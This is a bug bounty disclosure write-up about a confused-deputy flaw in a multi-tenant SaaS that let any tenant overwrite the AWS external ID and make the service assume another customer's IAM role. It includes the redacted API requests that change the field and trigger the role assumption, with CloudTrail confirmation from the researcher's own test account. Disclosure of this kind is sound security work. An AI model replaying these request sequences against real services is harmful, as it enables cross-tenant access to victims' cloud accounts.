a private h1 program (i'll call it orgxyz) runs a multi-tenant saas that assumes an iam role inside each customer's aws account. the aws sts:ExternalId is what stops it assuming the wrong customer's role. it was a field the tenant could write.
program name, hostnames, aws account ids and source ips redacted. endpoint paths and field names paraphrased. the request shapes and the cloudtrail evidence are real.
a program that holds some authority and can be talked into using it on someone else's behalf. the attacker has no access to the target. the deputy does. so the attacker stops attacking the target and starts asking the deputy nicely.
ssrf and csrf are the same pattern. so is a saas assuming a role in your cloud.
they fail differently, so you hunt them differently.
authorization bug confused deputy
---------------- -------------------------- --------------------------
the defect a check is missing no check is missing
who acts the attacker, directly the deputy, on request
the target sees a caller it should reject a caller it rightly trusts
you find it by enumerating objects, finding the value that
watching for a 403 that carries intent, then
never comes asking who can write it
the fix add the check bind the action to the
party that asked for it
every check orgxyz performs passes. the deputy is authorized, the action is one it may perform, and the customer's trust in it is deliberate. what is missing is provenance.
i had a plain authenticated tenant on the sandbox, nothing privileged. walking the api object by object, the tenant object came back carrying a security control i could read, so i tried writing to it:
GET /api/tenants/83
→ {"id":83,"awsExternalId":"dyYg••••••", ... } # a control, in my object
PUT /api/tenants/83 { ... ,"awsExternalId":"h1poc-EXTID-7G9k", ... }
→ HTTP/1.1 200
GET /api/tenants/83 # re-read, don't trust the echo
→ {"id":83,"awsExternalId":"h1poc-EXTID-7G9k", ... }
a writable field isn't a demonstrated breach, so i built a victim: a throwaway aws account with a role configured the way orgxyz's onboarding docs tell customers to configure theirs, requiring the external id i'd just written into my own tenant.
POST /api/credentials/aws
{"type":"ROLE","roleArn":"arn:aws:iam::<my-test-acct>:role/victim-sim"}
→ {"id":"9abbd4fd-••••", ... } # no external id in the body
POST /api/cloud/aws/vpcs
{"credentialId":"9abbd4fd-••••","region":"us-east-1"}
→ [{"vpcId":"vpc-0e9b123bc6497cfc6","ownerId":"<my-test-acct>", ... }]
i owned the target account, so i confirmed it from the victim's own cloudtrail rather than from a 200:
eventTime : 2026-06-17T12:47:43Z
eventName : AssumeRole
callerAwsAccount : <orgxyz-acct> # the saas control plane
roleArn : arn:aws:iam::<my-test-acct>:role/victim-sim
externalId : h1poc-EXTID-7G9k # the value i chose in step 1
errorCode : (none). the assume SUCCEEDED
orgxyz has one aws account, and every customer's role trusts that same account. the trust principal is identical in all of them, so the external id is the only thing telling customers apart. aws's guidance is explicit that the third party must generate it and the customer must never be allowed to specify it.
orgxyz read it straight from a tenant-writable field. the control wasn't weak. it wasn't there.
any authenticated tenant could make orgxyz assume any iam role that trusts its account, presenting any required external id, and read the victim's cloud back through orgxyz. the role arn and external id aren't secrets; aws says so. onboarding roles usually carry write.